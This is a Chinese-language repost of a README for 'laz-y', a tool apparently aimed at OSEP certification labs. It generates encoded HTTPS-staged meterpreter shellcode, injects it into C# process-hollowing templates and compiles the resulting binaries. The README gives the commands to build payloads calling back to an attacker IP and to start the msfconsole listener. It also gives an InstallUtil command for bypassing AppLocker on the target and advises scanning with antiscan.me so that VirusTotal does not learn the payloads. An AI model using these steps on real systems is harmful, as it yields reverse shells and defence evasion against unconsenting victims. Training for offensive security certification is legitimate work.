为OSEP实验室和考试自动生成有效payload

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/Nariod/laz-y

laz-y

为 OSEP 实验室和考试自动生成有效载荷。 该工具生成 x86 和 x64 HTTPS 暂存的 meterpreter shellcode,将它们注入您的 CS 模板,并使用 mcs 从 Linux 生成 C# 二进制文件。 它支持 ROT 编码,很快就会支持 XOR 编码。

但为什么?

在其中一个 OSEP 挑战实验室中,VPN 连接断开,我的本地 IP 发生了变化。 我需要重新编译所有的有效载荷和工具。我没有,我写了一个脚本 :)

它是如何工作的?

这个 repo 提供了一个流程挖空模板作为例子,这个工具的重点是使用你自己的模板。
启动时,python 脚本将在您放入“templates”文件夹中的所有文件中搜索标记,并将标记交换为 MSF 有效负载和解码例程。 然后将修改后的模板文件导出到“输出”文件夹中,并对所有 *.cs 文件运行“mcs”C# 编译器。 你最终得到:

  • 您的初始模板,未受影响
  • 带有标记的模板替换为 MSF 有效负载和解码例程
  • 如果模板是 .cs,则生成的 C# 二进制文件
  • 根据 metasploit .rc 文件启动你的监听器

安装

这个脚本只在 Kali 上测试过。 在更新的 Kali 操作系统上执行以下命令以设置环境:

  • sudo apt update && sudo apt install mono-mcs mono-complete -y
  • git clone https://github.com/Nariod/laz-y.git
  • cd laz-y
  • pip3 install -r requirements.txt

用法

  • 如果您必须使用https://antiscan.me/ ,请不要将任何内容上传到 VIRUSTOTAL
  • 在“模板”文件夹中添加您的 CS 模板
  • 在模板中添加标记 !!!_SHELLCODE_MARK!!! ,您希望在其中注入 shellcode
  • 在模板中添加标记 !!!DECODE_ROUTINE!!! ,您希望在其中注入解码例程
  • 运行脚本 python3 laz-y.py -l CALLBACK_IP -p CALLBACK_PORT -e ENCODING_OPTION
  • 在“输出”文件夹中检索 metasploit 资源文件 (.rc)
  • 开始你的听众 sudo msfconsole -q -r output/https.rc
  • 检索并使用位于“输出”文件夹中的最终二进制文件

在目标机器上,最终的二进制文件可以通过以下方式执行:

  • 直接执行二进制文件,如果不强制执行 Applocker
  • 使用 InstallUtil lolbin C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Nariod\Desktop\MY_BINARY.exe 绕过 Applocker

在 Kali 上生成二进制文件:

094eca3aea163438

 

使用 InstallUtil lolbin 在 Windows 目标上执行二进制文件:

e3084bdecc163437

 

享受shell的过程:

7061cfebaa163436

 

研究与开发

出于研究目的,我专门 为与惰性和更现实的操作兼容的 C# 模板 创建了一个存储库。

去做

  • [x] shellcode交换的基本标记
  • [x] 添加 ROT 编码支持
  • [x] mcs编译时强制arch
  • [x] 添加msf资源文件
  • [ ] 添加 XOR 支持
  • [x] 生成msf资源文件
  • [x] 检查用户输入的安全性
  • [x] InstallUtil lolbin 支持

贡献

模板

法律免责声明

未经双方事先同意,使用此回购协议中提供的任何内容来攻击目标是非法的。 最终用户有责任遵守所有适用的地方、州和联邦法律。 开发人员不承担任何责任,也不对由此程序造成的任何误用或损坏负责。 仅用于教育目的。

标签:工具分享, OSEP